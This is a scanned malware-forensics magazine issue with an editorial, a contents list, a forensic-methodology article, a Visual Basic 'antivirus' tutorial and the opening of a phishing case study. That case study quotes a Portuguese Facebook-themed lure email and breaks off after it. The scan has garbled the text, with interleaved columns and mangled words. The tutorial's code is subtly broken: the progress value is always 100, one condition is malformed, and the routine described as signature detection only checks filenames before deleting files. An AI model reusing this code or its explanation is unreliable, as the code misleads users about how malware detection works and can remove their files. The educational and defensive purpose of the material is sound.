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Dear Readers,
e all know that information is vital for running a success-
ful bussiness. Every company and institution stores sen-
sitive data that need to be protected. The cyber threats
are evolving and information security must evolve accordingly.

In this issue we focus on the extremely important area of Malware
Forensics. How to detect the unknown virus? What kind of mal-
ware is out there waiting to take over our data? How to recov-
er the information and protect against future attacks? Go on with
reading and you will learn about various aspects of malware foren-
sics. There is a bit of theory followed by very practical step-by-step
guides and real case scenarios presented by experts in the field. |
hope you will enjoy these more than 100 pages of a great content
and that you will find it useful.

We also prepared a special interview for you. Our guest is Richard
Zaluski from Centre for Strategic Cyberspace + Strategic Science
who tells us about CSCSS work and current cyber threats and chal-
lenges. Make sure you give it a read and consider joining the CSCSS
Experts Programme.

Thank you so much for your constant interest in our magazine and
for your support. We would like you to become members of our
team and help us creating the best content for you. Therefore,
please feel free to contact us and give us your feedback. If there
are any topics you would like to see in the upcoming issues, just let
us know. Tell us your thoughts and share your ideas. This way we
will be able to provide you the information you need and look for.

Moreover, I'm glad to inform you that this week we have launched
our blog, where you can read full articles from our experts. Check
it and leave us your comments! You can find our blog via our web-
site: eforensicsmag.com

Feel free to drop us a line and contact me at:
marina.nowacka@software.com.pl.

Enjoy your reading & let’s stay in touch!
Marina Nowacka

Editor at eForensics
& eForensics Team
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UNDERSTANDING MALWARE FORENSICS

by dr. Eric Vanderburg

At this point, everyone is familiar with malware. It has been around for decades in the form of viruses,
Trojans, bots and worms. Everyone with a computer has been infected at one point or another. In
fact, the problem is so pervasive that, like the common cold, we have become used to and somewhat
tolerant of these malicious programs. The malware of the past has given way to today botnets and
fast acting worms that infect with impunity, stealing information, hijacking computers and causing
all manner of harm. This leads us to malware forensics, the study of how such crimes happen. While
remote hackers hide under a mast of anonymity, their programs do their dirty work and it is the fo-
rensic investigator who must determine the facts of the case.

MALWARE AND ANTI-VIRUS ARCHITECTURE

by Cecilia McGuire

This Do-it-Yourself on Malware and Anti-virus technologies is a beginner’s “how-to” on malware and
antivirus technologies. The scope of Malware is vast and dynamic, covering an array of Malicious pro-
grams such as Viruses, Trojan Horses, rootkits, spyware, browser hijacking, worms, to name a few. As
a consequence the scope is limited to some of the fundamentals principles of Malware and Antivirus
technologies. Where possible links are provided for readers wishing to learn more. A guide to devel-
oping a basic antivirus using Visual Basic 2013 to provide readers with the building blocks they need
to create a more advanced, personalised custom antivirus utility.

PHISHING ANALYSIS: A REAL ATTACK CASE SCENARIO

by Anderson Tamborim

In this article, we will analyze a real case of a directed attack known as APT. We will study its main
aspects, understand what the general purpose of these kind of attacks are and how to leverage the
knowledge over the enemy for our own profit.

AN INTRODUCTION TO KEYLOGGERS

by Irv Schlanger and Ruth Forese

Keyloggers have the reputation as being one of the most intrusive kinds of tracking devices. Keylog-
ging refers to the recording of keystrokes that a user types on a computer. Keylogging is often associ-
ated with malware, where its purpose is to obtain personal information without a user’s knowledge
or consent. However, keyloggers can also be used for other reasons such as troubleshooting comput-
er problems and conducting research. This article introduces various types of keyloggers and then
overviews two types of keylogging software, both of which require little technical knowledge and
can be easily set up by the average user.

THE BAREBONES APPROACH TO MALWARE FORENSICS

by Charles Coker, Nicole Michaelis and Andrew Akker

For some organizations, a strategic response may not involve the most sophisticated software tools.
In fact, end-user education and procedures that recognize the end-user’s role in malware protection
and forensics can go a long way toward the protection of sensitive information assets.
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INTERVIEW WITH RICHARD ZALUSKI CHAIRMAN, CHIEF EXECUTIVE
OFFICER, AND PRESIDENT OF THE CENTRE FOR STRATEGIC CYBERSPACE +
SECURITY SCIENCE / CSCSS

by Marina Nowacka and eForensic Team

We need to address what our systems are doing, why, when and where. When | check into a hotel,
the first thing they ask me is for my credit card for ‘incidentals” associated with a hotel stay. People
readily hand over their cards which are then transacted and information is stored. Stored? Where?
How? By whom? Who has access? What about confidentiality?

THE ROOTKITS: AN INFORMATIVE NUTSHELL APPROACH OF ROOTKIT
FORENSICS FOR COMPUTER FORENSICS EXPERTS

by dr. Sameera de Alwis

Enormous volume of hacking occurrs, severe data breaches and data leakages are being reported
universally. Rootkits (A.K.A - Administrator’s Nightmare) are rapidly fetching the tool of choice for the
present day cyber-crimes and reconnaissance involving network interrelated computing equipment
and data. Rootkit is a type of malicious (malcode) software application or malware that is installed by
an invader afterward the target victim system has been compromised at the root or administrator’s
level. Present-day and emerging uncovering tactics rely on low level knowledge of Rootkit enact-
ments, and so will persist in a mercurial point.

HUNTING FOR MALWARE TRACES IN AUTOSTART LOCATIONS OF A BIOS-
BASED WINDOWS 7 MACHINE INTERCEPT MALWARE INFECTIONS BY
LOOKING FORTHEIR PERSISTENCE TRACES

by Lorenzo Cantoni

During a security incident you have found a machine which communicates with a suspicious Internet
host. After an initial analysis you found a malicious DLL injected inside “svchost.exe”. Malware Analy-
sis shows that the DLL is a Trojan Horse and it is responsible of the malicious network traffic. You re-
move the DLL from the system and reboot it, but it magically reappears and restarts to communicate
with his Command & Control host. Now what?

ANALYSIS OF A POTENTIAL MALICIOUS PDF DOCUMENT THE TOOLS AND
BRIEF UNDERSTANDING OF THE MECHANICS OF A PDF DOCUMENT

by Stephen Roy Coston Jr.

Cyber criminals are using special crafted PDF documents to bypass governments and private sector
intrusion detection systems (IDS) and antivirus software. These PDF’s can be used in phishing attacks
and combined with social engineering to gain a foot hold into your secure network. These attacks
have been on the rise as of late, and a malware analyst should beware of this attack vector and the
tools to analyze the potential malicious document.

FINDING ADVANCED MALWARE USING VOLATILITY

y Monnappa Ka

When an organization is a victim of advanced malware infection, a quick response action is required
to identify the indicators associated with that malware to remediate, establish better security con-
trols and to prevent future ones from occurring. In this article you will learn to detect advance mal-
ware infection in memory using a technique called “Memory Forensics” and you will also learn to use
Memory Forensic Toolkits such as Volatility to detect advanced malware with a real case scenario.

S

CHALLENGES OF MOBILE MALWARE FORENSICS EVOLUTION

by David Clarke

Mobile Malware is evolving fast. The development of Mobile Malware is growing at an unprecedent-
ed rate, so the mitigation and counter measures needed to understand the landscape and provide
the appropriate solutions must develop as rapidly. Mobile devices are part of our everyday lives, so
much so that they have become part of our identity, especially for payments. The forensic solutions
now need to appreciate psychology, human nature and social media as they too become part of the
attack vectors used. The following is an outline of the challenges we are now faced with, and which
have emerged in just a few months.
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UNDERSTANDING
MALWARE FORENSICS

by dr Eric Vanderburg

At this point, everyone is familiar with malware. It has been
around for decades in the form of viruses, Trojans, bots and
worms. Everyone with a computer has been infected at one
point or another. In fact, the problem is so pervasive that, like the
common cold, we have become used to and somewhat tolerant
of these malicious programs. The malware of the past has given
way to today’s botnets and fast acting worms that infect with
impunity, stealing information, hijacking computers and causing
all manner of harm. This leads us to malware forensics, the study
of how such crimes happen. While some remote hackers hide
behind a mask of anonymity, their programs do their dirty work
and it is the forensic investigator who must determine the facts

of the case.

What you will learn:

* When to use malware forensics

* Why malware forensics is impor-
tant

« Steps to take in performing mal-
ware forensics

What you should know:

* What malware including viruses,
Trojans, bots and worms are.

* How to perform general forensic
techniques

« An basic understanding of operat-
ing systems and how they work

computer users. Technological advances have paved the way for var-

ious types of malicious software. Malware includes viruses, worms,
bots, spyware, trojans and so forth. The major reason for the growth of so ma-
ny different categorizations of malicious programs is their propagation meth-
ods, which are changes in the methods, used to spread across machines.
Starting from email harvesting to spreading through peer-to-peer networks,
given the opportunity malware needs little time and effort to affect systems.
The proportion of software programs on the Internet affected with one or ma-
ny malware programs is on the rise over the years which has led to both
greater fears in doing business and utilizing online resources and in apathy
due to the seemingly inevitable fact that malware will infect computers. It has
also lead to an increase in those accused of a crime purporting that malware
was the cause rather than a direct action on their part.

M alicious programs are a significant threat for both offline and online

Forensic investigators continuously need to analyze malware. The best way
to do so is to examine the code manually without letting the system interfere.
The study of malware programs to prevent them from entering the system is
malware analysis and when the same is systematically analyzed and explored
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in laboratory settings, it is called malware forensics. The techniques used in forensics are highly rigorous,
born out of techniques in computer forensics and systems analysis leading to a variety of approaches.

APPROACHES

Even though there are different techniques in malware forensics, the most widely used approach starts
with the examination of volatile code followed by examination of memory drives and hard disks. The final
approach is the analysis of malware specimen using dynamic and static techniques. All of these steps
include predetermined goals of finding the exact nature of the code and its behavior. Moreover, it is im-
portant for the investigator to test malware from more than one device. This is because, malware most
often gets transmitted through networks and it becomes important to analyze its methods of propaga-
tion in real-time. The most important trait for the investigator is critical thinking since malware analysis
involves analyzing code that can change quickly. The behavior of malware causes adverse changes in
very short duration.

Malware forensics is performed through the following steps:

* Preserve volatile data
+ Temporal analysis
* Functional/relational analysis

The first and foremost step in malware forensics is the preservation of volatile data that helps in exami-
nation of behavior of the system with respect to even minor changes. It is always a best practice, in fact,
a requirement, to document all the changes that are made to the system along with all the actions being
performed as this helps in recovering the system to earlier state in case of emergency.

Once a system is scanned for volatile data, the next step is to proceed with temporal analysis where
a timeline of actions taken by the malware is constructed. This is followed by functional and relational
analysis. These three steps form an important part of crime reconstruction. These steps help in regen-
erating the same set of events that would have occurred during the actual malware intrusion. Before
delving deep into the investigation of malware code, it is important to understand the basics of code
execution along with differences in static and dynamic code linking. This six step approach to malware
incident response will usually help in cases of incident handling that also includes the above men-
tioned techniques.

LOMPUSLEUTH

Data One Byte at a Time
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Malware incident response steps:

Discovery
Identification
Containment
Eradication
Recovery
Reflection

The malware incident response steps listed above truly begin with preparation prior to an event occurring
but the first step in response is discovery. After event discovery comes identification, containment and
eradication of malware code. The next important step is the recovery of data followed by implementing
the lessons learnt during the forensics which we call reflection here.

OBJECTIVES
The goals of a malware forensics investigation commonly include determining the following:

* The infection mechanism used by the malware

» The interaction of code with host devices and network systems

» The profile of the attack and the methods used by the attacker to take control of the program

» Specific actions taken by the malware (the crimes)

Arriving at these results will let investigators analyze the behavior and attributes of the malware code.
All the techniques aim at concluding the results of the objectives. The investigation of malware should
be well supported by documentation of each step or test taken and the results of those steps or tests.

Forensic documentation provides a method whereby the study can be repeated. As such, factors such
as the environment and specific actions taken are critical to this. The analysis should be repeatable by
another investigator so that it can be validated so it is essential to follow a reliable procedure.

It is very important to contain the environment for malware forensics as any code outbreak will cause
problems to the other systems in the network which potentially could contain client data. Hence, isolate
the machines and networks used for the study and analyze the behavior accordingly. This isolated envi-
ronment is usually referred to as a sandbox. It is also important to use clean systems for the analysis so
as to prevent contamination of the investigation. This will also ensure that the changes happening in the
system and the network are due to the malware.

ENVIRONMENT

It is very important to set up a completely sanitized environment for analyzing the malware. The test lab
needed for the analysis should at least have a couple of machines installed, one for hosting malware
program and the other for baselining the traffic. Ensure that the two machines are cut off from other ma-
chines in the network.

Do not install any other applications in the machines than was found in the original crime scene as that
may cause different behavior. The operating system used in the analysis machines should be installed
before the lab setup and all the necessary tools should be transferred as well. The malware box typically
is created from an image of the crime scene computer but sometimes a fresh install is used to isolate
other factors.

Finally, the malware binary should be transferred to the system. It is essential to have a Domain Name
System (DNS) server so that malware can be tracked to its originator, if it tries to communicate with an
external server. All of these settings are not one time settings. They need to be reciprocated as and when
needed since there will be changes to the environment because of the malware activities.

COLLECTING INFORMATION

Baselining the system plays a major role in the analysis of malware. In simple terms, baselining
can be described as capturing the snapshot of the normal state of the system and network settings.
This information becomes vital during later stages of malware analysis and its impacts over the system
as changes can be easily seen when compared to the baseline. If a base lining is done perfectly, all the
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later stages can be accomplished based on objectives. Base lining should be performed twice in the en-
vironment. Once, before the malware is installed and second, after the execution of the binary. The differ-
ences between the two results give out the theoretical results of changes made by binary to the system
and the network.

Evidentiary machines and network traffic are the first elements to be baselined before executing the bi-
nary. The machine should be examined for the type of file system being used and the registry settings.
All the running programs should be captured followed by examining the open ports, active users, network
services and shared resources. Moving on to network traffic, it is essential to record the traffic even when
there are no applications sending or receiving data. This normal traffic should be monitored and recorded.

STATIC ANALYSIS

The binary of the specimen is examined in this technique without the code being executed. The first step
in this technique is file profiling in which the basic functionalities of the specimen is assessed. The im-
portant information that is extracted from this step includes antivirus signatures and metadata. The infor-
mation will help assess the behavior of the file and the approach to be taken for fulfilling the detection of
infection. In the first step of file profiling, the cryptographic hash value of the specimen is obtained which
acts as the digital fingerprint. It is followed by obtaining information about the type of the file. The last step
includes analysis of import and export tables.

DYNAMIC ANALYSIS

As opposed to static analysis technique, the specimen is examined by providing interaction between the
specimen and host. Even though there are many tools for performing dynamic analysis, it is important to
find the best among them. The specimen interacts with the host in five main areas including processes,
file systems, registry, Application Programming Interface (API) and network activity. The process monitor
that is available records all the information and gives output as a very noisy data. Hence, filters should be
used from the beginning of the process so as to remove unwanted noise from the output. The malware
uses the registry of the system to store its own configuration information along with analyzing the state
of the system. It also takes the help of registry to identify its targets. Therefore, a complete analysis of
the registry helps the user to find the traces left behind my malware. The other way to track the malware
is through network activities as it tends to communicate to the attacker. This payload can be fetched and
explored to identify the source of the attack.

CODE ANALYSIS AND BEHAVIOR ANALYSIS

There are two other techniques that are used for code analysis of malware and they are termed as code
analysis and behavior analysis. Even though they are closely related to the static and dynamic analysis
techniques, there are some minor changes which separate them apart. In code analysis technique, the
source code of the program is analyzed so as to understand how the program works. It is easier to say
so in a single line but it is almost difficult to practically examine the source code of the malware since
the malware needs to be decompiled using debuggers that read binary values and extract information.

Behavior analysis, on the other hand does not deal with the source code of the program, instead focus-
es on the behavioral aspects of the program. Consider black box testing and white box testing. In black
box testing, the source code of the test software is not taken into consideration but the system is tested
as a whole by providing various inputs and outputs. White box testing, on the other hand tests the soft-
ware by examining the source code. The same logic is applicable in the case of code analysis technique
and behavior analysis technique. Since behavior analysis technique doesn’t need any code knowledge,
it is easier for people to follow up and administer.

EVIDENCE OF MALWARE

Usually, the malware activity in the system leaves behind a couple of different types of information.
They are classified as digital impression evidence and trace evidence. The major difference between the
two types of evidence is that digital impression evidence is the collection of information left behind in
the physical memory of the system while trace evidence is the collection of temporary files introduced into
the system by the intruder. Another difference between the two types of evidence is that, digital impression
evidence can be reproduced in the clean environment set up and hence they are classified as mandatory
attributes but trace evidence cannot be reproduced and hence they are termed as optional attributes.

www.eForensicsMag.com € »
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EXAMINING MALWARE

Once all the information is collected, it is time to analyze the same using better standards. The malware
traces can be tracked easily with known samples that are available which will give better picture of what
is happening in the system. It is not only important to identify the malware specimen but also to inter-
pret it. There are various malware specimens and samples with evidence which the user can track down
for analysis. Usually, the samples that are available would have been collected from authentic sources.
Hence the user can identify the samples on comparing them with known samples that already exists.
Thus it is necessary for the user to collect all required information before starting the analysis of the
specimen. Once the samples are collected from authentic sources, they need to be compared with the
questioned evidence. The experience of the tester comes into picture here for examining the malware
with the known samples. When the source of the malware is identified, it can be easily stated that mal-
ware is closely connected with the source. Also, the IP address and other information about the source
can be identified.

The information from the Internet can be easily obtained by using key terms. The static analysis tech-
nique gives out a few words that can be used as resource during online searching. Even though the
online virus directories provide all necessary keywords, it will also be helpful to browse through mailing
lists and blogs. Every malware will have needs some method to start its operation. ldentifying the way by
which the malware starts up can give the user some steps to prevent the damage caused to the system.

FRAMEWORK

Currently, there are no languages that can be used to describe the characteristics of malware. Even though
the hash value of the binary sample can be obtained, it is of very little importance to the analyzer. In some
cases, more than one malware will result in same hash identity which makes it difficult to differentiate vari-
ous specimens. This is the major reason for the need of identification of malware through its semantics,
which is nothing but the effect of instructions as carried out by the specimen. A framework such as Exten-
sible Markup Language (XML) is often used to describe the semantics of the malware. The XML Schema
helps in analyzing the technical characteristics of the specimen and the threats they pose to the system.
The low level attributes of the specimen can be translated to machine formats which can later be used for
security monitoring. The results of the observation can also be shared as framework documents.

The framework that is used can solve all the objectives of the malware forensics starting from prepa-
ration. Time and effort spent preparing for a potential incident will greatly reduce the amount of time
and cost to respond to an incident. The first step of incident handling is detection. The next step is de-
tecting a possible infection in which the framework can be used to describe the semantics of the mal-
ware. The next step in preventing infection of the system is containment and eradication. The changes
to the system are analyzed, making sure that the other systems in the network are segmented to pre-
vent infection. The final step is documentation of the evidence and presentation of findings. As always,
stick to the facts only and leave opinions out of your findings.

CONCLUSION

Malware is constantly spreading and infecting machines. Some malware steals passwords, tracks on-
line usage, gathering personal data on users. Other malware corrupts or destroys data or hampers pro-
ductivity by slowing down machines or making service unavailable. When this loss is the subject of an
investigation, forensic investigators must step in to gather the evidence. Now that you understand the
essentials of malware forensics, utilize these skills to find the evidence of malware crimes.

ABOUT THE AUTHOR
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MALWARE AND ANTI-
VIRUS ARCHITECTURE

by Cecilia McGuire - MS InfoSec

This Do-it-Yourself on Malware and Anti-virus technologies is

a beginner’s “how-to” on malware and antivirus technologies.
The scope of Malware is vast and dynamic, covering an array
of Malicious programs such as Viruses, Trojan Horses, rootkits,
spyware, browser hijacking, worms, to name a few. As a
consequence the scope is limited to some of the fundamentals
principles of Malware and Antivirus technologies. Where possible
links are provided for readers wishing to learn more. A guide to
developing a basic antivirus using Visual Basic 2013 to provide
readers with the building blocks they need to create a more
advanced, personalised custom antivirus utility.

« DIY Basic Anti-Virus — Visual Basic . .
| ) ) disrupt, steal data or gain access to target computer systems. Many
* Introduction Malware Architecture include Vi Troi H
. Different types of Malware common types of malwqre programs include Viruses, Trojan Hors-
- Detecting Malware es, rootkits, spyware, browser hijacking, worms and many others. The num-
« Other Countermeasures ber of new forms of malware being released continues to grow rapidly and
each of these malicious programs has its own unique characteristics. Which
What you should know: are designed with the intent to interrupt, fabricate, modify and intercept el-
+ Basic Visual Basic Programming | ements of hardware, software and data. When these malicious programs
+ Basics principles of malware drop their payload they will attack the availability, integrity, authenticity and
confidentiality of computers, networks, mobile technologies, servers, etc

(Pfleeger, 2003, p15).

M alware (Malicious Software) are programs designed to interrupt,

Components of Malware can be composed of up to six main elements (Har-
ris, 2012) (but not necessarily all). The six elements are:

Insertion: Mechanism which enables it to install itself on the target system
Avoidance: Mechanisms in place to avoid detection

Eradication: Removes itself after the payload has been executed
Replication: The ability to create copies of itself and to propagate to other
machines (e.g. Worm)
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« Trigger: A trigger event that initiates its payload (e.g. Time and date, mouse click, etc.)

+ Payload: Carries out its function (e.g. format a hard drive, installs a back door, exploits vulnerabili-
ty, etc.)

For the purposes of this article, the scope will be limited to viruses, as the entire scope of malware is sim-
ply too large for the purposes of this article. For more information on malware, please go to http:/www.
kaspersky.com/au/internet-security-centet/threats/malware-classifications.

A virus is a malicious code designed to target vulnerable hosts then infecting them with their malicious
code. The main objective is to deliver its payload and replicate itself. Viruses belong to their own category
within the scope of malware and there are many different designs of viruses. What unites this malicious
software is its ability to self-propagate (Harris, 2012). Stealth Virus, Polymorphic, Multipart virus, script
virus, meme viruses, self-garbling viruses are just a few of the different types of viruses, far too many to
go into any detail in this article. To learn more about the architecture of viruses refer to the link below con-
taining a library of links of different categories of viruses, located at: http://www.virusbtn.com/resources/
glossary/metamorphic_virus.xml.

ANTIVIRUS

Antivirus software detects viruses using two common methodologies — Sighature based detection and
heuristic based detection to detect malicious code. Signature based detection is an effective way to de-
tect malicious software. The signature is usually based upon part of the code that was extracted from
the virus itself. The antivirus software will scan files, email messages and other data using specific pro-
tocols and then compares this data to the signatures stored in its database. When the data matches the
signature the antivirus software will carry out a range of actions (depending on configuration and rules)
such as quarantining the file, removing the file with virus and logging/warning the event has occurred.
The main challenge with signature based detection is that the antivirus is dependent on the database
containing viruses to be current and there can be a delayed response time between new threats being
updated in the virus database. Alternatively Heuristic detection analyses the assembly of the malicious
code, examining the code and logic in order to identify whether the software is designed to execute mali-
cious activities. Heuristic detection provides advantages in its ability to identify unknown malware resolv-
ing the challenges with signature detection databases requiring regular updates.

BUILDING YOUR OWN ANTIVIRUS

There are many different ways to build your own antivirus application. Now that you have a fundamental
understanding of Malware and Antivirus architecture, this will provide you with basics you need to de-
velop a simple antivirus application to strengthen your knowledge. Live antivirus programs are designed
to operate at lower levels of the operating system and network protocol stacks and as such it is recom-
mended that C/C++ languages are used instead.

As explained earlier, Antivirus programs detect viruses via signature based detection and heuristic
based detection. For the purposes of this DIY, we will create an antivirus using signature based detec-
tion, where a simple text file containing virus signatures are scanned against selected directory files.

To learn more and download your own test virus signature files go to: http://www.eicar.org/.

DO-IT-YOURSELF ANTI-VIRUS!

The Visual Basic Code is used to develop the Anti-Virus was created with the intention to provide basic
GUI functionality which can be improved upon with time, as it is the Malware Architecture and the ability
to plug-in the GUI into use advance Virus Library’s therefore providing a comprehensive up to date pic-
ture of malware in current circulation today.

Scope: the instructions provided for this Do-It-Yourself Anti-Virus will be to create a very basic GUI, as
the goal of this exercise is to develop a better understanding into Malware architecture — not to master
development of GUI’s.

Again, to create a full anti-virus solution would require extensive development work, far beyond

the scope of this DIY. This example will provide the basic VB code to create your own basic antivi-
rus application.
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First we will start with setting up the basics of the GUI, composed of the basic building blocks of:

+ Scan, stop & delete buttons

 Combo box to select directories to be scanned

+ List box containing files and results
* Progress Bar

* Timer

* Labels

Once you have built your GUI using the components mentioned above, you should have a GUI similar to:

o Basic Anti-Virus Tool
Antivirus your world
Sclect v
Start Scan Stop Scan

ListBox1 ListBox3

ListBox2

0% 100%

Delete

Figure 1. A template of Anti-Virus GUI

The next step is to add your test virus database, preferably a simple text file, containing virus signa-
tures (can also be downloaded from link provided earlier). Simply drag and drop this file into the resourc-

es in your Solution Explorer view.

licrosoft Visual Studio

BULD DEBUG TEAM TOOLS TEST ANALYZE WINDOW  HELP

n o= New folder
) (= - 1 » Libraries * Documents » New folder
Favorites
I Deskaop ¥ virus signatures
# Downloads
= Recent places
i SkyDrive
oo Libraries
Documents
4. Music
2. Pectures
B vidace

Figure 2. Adding your test virus database

Solution Explorer - 0 ¥

@ oe-"Ndp| -

3 VirusListoa
%) App.co

Properies

virus signatures.txt File Properties

Next is to develop code so that your GUI can execute tasks. A template of the code you require to de-
velop the antivirus program is provided below and will need to be entered into your VB 2013 Forms code
view. Simply copy the code below and paste this into your form ensuring that your GUI object names &

design resemble the below code:
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Listing 1. A template of the code to develop the antivirus program

Public Class Forml
Dim percent = 0
Dim red

Private Sub Timerl Tick(sender As Object, e As EventArgs) Handles Timerl.Tick
percent = (ListBoxl.Items.Count / ListBoxl.Items.Count) * 100
If (ListBoxl.SelectedIndex < ListBoxl.Items.Count - 1) Then
ProgressBarl.Value = percent
Label2.Text = “Scanning For: “ & ListBoxl.SelectedItem
ListBox2.Items.Add(“Scanning: “ & ListBoxl.SelectedItem)
Try
If Dir(ListBoxl.SelectedItem.ToString) <> “” Then
ListBox3.Items.Add (“"Threat Found: “ & ListBoxl.SelectedItem.ToString)
ElseIf Dir(ListBoxl.SelectedItem.ToString, FileAttribute.Hidden) <> “” Then
ListBox3.Items.Add (“"Threat Found: “ & ListBoxl.SelectedItem.ToString)
Else
End If
Catch ex As Exception

End Try
ListBoxl.SelectedIndex += 1
Else
If ListBox3.Items.Count = 1 >= 1 Then
ListBox3.SelectedIndex = 0
Button3.Enabled = True

End If

Clock.Stop ()

ProgressBarl.Value = 100

Label2.Text = “Finished Scanning “ & ListBox3.Items.Count & “ Threats Found”

Button2.Enabled = False
Buttonl.Enabled = True

End If
End Sub

Private Sub TabPagel Click(sender As Object, e As EventArgs) Handles TabPagel.Click
Buttonl.Enabled = False
Button2.Enabled = False
Button3.Enabled = False
ComboBoxl.SelectedIndex = 0
ComboBoxl.Items.AddRange (System.IO.Directory.GetLogicalDrives)
End Sub

Private Sub Buttonl Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles

Buttonl.Click
ProgressBarl.Value = 0
ListBox2.Items.Clear ()
ListBox3.Items.Clear ()
percent = 0
Buttonl.Enabled = False
ListBoxl.SelectedIndex = 0
Timerl.Start ()
Button2.Enabled = True

End Sub

Private Sub ComboBoxl SelectedIndexChanged(ByVal sender As System.Object, ByVal e As EventArgs)
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Handles ComboBoxl.SelectedIndexChanged
If ComboBoxl.SelectedIndex >= 1 Then
ListBoxl.Items.Clear ()
TextBoxl.Text = My.Resources.VirusList.ToString
For Each line As String In TextBoxl.Lines
ListBoxl.Items.Add (ComboBoxl.SelectedItem.ToString & line.ToString)
Next
If ListBoxl.Items.Count - 1 >= 0 Then
Labell.Text = “Database Loaded!”
Buttonl.Enabled = True
Else
Labell.Text = “No Database Loaded!”
Buttonl.Enabled = False
End If
Else
Buttonl.Enabled = False
ListBoxl.Items.Clear ()
TextBoxl.Text = V"
Labell.Text = “No Database Loaded!”
End If

End Sub

Private Sub Labell TextChanged(sender As Object, e As EventArgs) Handles Labell.TextChanged
If Labell.Text = “Database Loaded!” Then
Buttonl.Enabled = True
Else
Buttonl.Enabled = False
End If
End Sub

Private Sub Button3 Click(sender As Object, e As EventArgs) Handles Button3.Click

red = Replace (ListBox3.SelectedItem.ToString, “Threat Found: “, “”)

Try
System.IO.File.Delete (red)
If Dir(red) <> “” Then
MsgBox (“Unable to delete ™)
Else
MsgBox (“File “ & red & “ successfully deleted”, MsgBoxStyle.Critical)
ListBox3.Items.Remove (ListBox3.SelectedItem)
End If
Catch ex As Exception
End Try
End Sub

Private Sub Button2 Click(sender As Object, e As EventArgs) Handles Button2.Click
Timerl.Stop()
If ListBox3.Items.Count - 1 >= 0 Then
ListBox3.SelectedIndex = 0
Button3.Enabled = True
End If
Button2.Enabled = False
Buttonl.Enabled = True

End Sub
End Class



il

Now all you will have to do is click: “Start Scan
az Basic Anti-Virus Tool = = -

Antivirus yourworld

Database Loaded! L v
Virus List
Slail Scan Slup Scan
C:\Virus List | | ThreatFound: CA

CA
(C:\Univ.Scripy9%a |

Scanning: C:\Virus List
Scanning: C:\

0% | Finished Scanning 1 Threats Found

Delate

Figure 3. Scanning of the selected files

As you can see in this screenshot captured, the antivirus utility you have developed will scan the se-
lected files based on the list of viruses in the virus library you included.

The challenge with Anti-Virus is that they only detect viruses residing within your systems, they are de-
signed react to identified malicious threats. For this reason it is important to include additional preventative
measures within your architecture, such as Firewalls, Spyware protection and Intrusion Prevention tech-
nologies where necessary in order to ensure that a defence-in-depth strategy is protecting your systems.

N
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PHISHING ANALYSIS:
A REAL ATTACK CASE
SCENARIO

by Anderson Tamborim

In this article, we will analyze a real case of a directed attack
known as APT. We will study its main aspects, understand what
the general purpose of these kind of attacks are and how to
leverage the knowledge over the enemy for our own profit.

What you will learn:

* The main aspects of an APT at-
tack, the phases and what you
could expect when facing this kind
of attack

* We will learn some tools to lead
an initial analysis of the attack and
see some strategies to continue
learning

What you should know:

« Basic knowledge on network and
Windows Operating Systems
» Knowledge of network protocols

One major question that we must always keep in mind is if the way
we are seeing the infrastructure security of our organizations are
seeking this advance.

D ay by day, digital threats are evolving in an exponential way.

When | talk to the people responsible for big company’s security and ask
what they are doing to improve the operational security of their environment,
very often the answers come to something like:

« “l am deploying one patch management platform”
* “We keep the servers and workstations antivirus software up to date”
* “We are using a very resilient and trustful firewall of a well-known brand”

It is pretty obvious that the advances of the security systems are not seeing
the new threats that are becoming more and more stealth and complex. This
demands, above all, a strategic vision of the company’s business in order to
accomplish the appropriate management, minimizing the damage caused by
security incidents.

When we talk about security incidents, we have to keep in mind that the
evolution of frauds utilizing the digital ways is today three times bigger than
the ones utilizing the conventional ways. Even more people are changing
their daily activities to the digital world, as for example many people do the
shopping, pay the bills and much more electronically.

Having this scenario in mind, the developed tactics to act criminally in the
digital world also grow seeking this tendency. This kind of motivation comes to
the top when we talk about Advanced Persistent Threats. During many years,
the major concern was about the attacks that could reach the external perim-
eters of the systems, keep the walls fortified and ensure that no kind of attack
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will breach into the services available online. As we know, the security of your company infrastructure are
as good as the weakest point. So, the main new target becomes the most susceptible one: People!

In most cases, APT attacks aim to give access to external attackers using as a major starting point
through Social Engineering attacks. Using tailored made phishing e-mails, directed to the users with the
objective to claim to be a trusted and real communication and make the user accept the malicious con-
tent unsuspiciously. There are many variations for this kind of attack, but the most common is the user
receives an e-mail with an attached malicious hyperlink where the attacker will use some kind of exploit
that will allow it to gain complete access to the user workstation.

Unlike the large range of attacks, that often occur on daily basis, the APT attacks in an almost imper-
ceptible way. The traffic generated by this kind of attack generally confuse itself with the legitimate traffic
generated by the user, and this keeps it invisible from systems like an IDS or IPS. The most notable fea-
ture of this malware is the super persistence in the system, modifying many sectors and ensuring that it
will remain in there for a long time, allowing the attacker to interact for a long term with the target. Once
the attacker gains access to the target network, he will do something known as “Lateral Moving”. In this
moment the attacker will try to exploit security flaws in other machines next to the first one infected. This
will grant him the chance to enlarge his territory and facilitating his climbing to the total control of the
network. With some efforts the attacker will inevitably gain access to elevated privilege credentials and
this will allow him to access private documents, sensitive files, identify which users has access to which
systems like, CRMs, ERPs and learn the process flow of the target company. This way he can apply this
knowledge to gain access to the most valuable resources of the business.

The theft of confidential data and business vital information becomes the primary goal of the majority
of structured attacks suffered by big corporations. What comes to the external border are no longer the
most important when you observe the security aspect of the network, WHAT is leaking, HOW it is leaking
and WHERE it is leaking to, this is truly the major concern.

The term “Information Leaking” refers specifically to this kind of attack. Keeping in mind that APT-like
attacks are directional and in most cases have some background sponsors, some company’s may be
interested in leaking your private information, which will lead your brand into many problems, especially
when it comes to the media. Information is power; in this case, it can dictate the ways of success or fail-
ure of your operation.
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REAL SCENARIO CASE STUDY: DISSECTING A THREAT AND LEARNING FROMIT

Now that we are aware about the topic and know about what we are fighting against, it is time to analyze
a real APT case. The malicious artefact that we will use in this example was collected in the network of
a Brazilian company in the beginning of 2013. Especially in Brazil, we can observe a huge increase in
malware focused on Bank information theft.

The first phase in a direct attack occurs through some social engineering vectors, using phishing scam
messages. The user will receive an e-mail message containing a teasing information, this will make him
inadvertently helps the attacker to take control of the workstation. In this specific case, the attack sent a
message claiming to be a “Facebook” message. We can see the replica of the message below.

De: Facebook. [mailto:accounts.com@srv26.dzservices.net]

Enviada em: guarta-feira, 6 de fevereiro de 2013 19:31

Para:

Assunto: Facebook.com - Voce Recebeu Um Comentario De Voz Em Sua Foto!

Vocé recebeu um comentdrio de voz em sua foto o e
Ouvir comentario
Gravacdo: "Para ouwvir 0 comentano basta dicar no link abaixo. O conteddo

gravade € de responsabilidade do usudrio™

cancelar inscricdo

AVISO

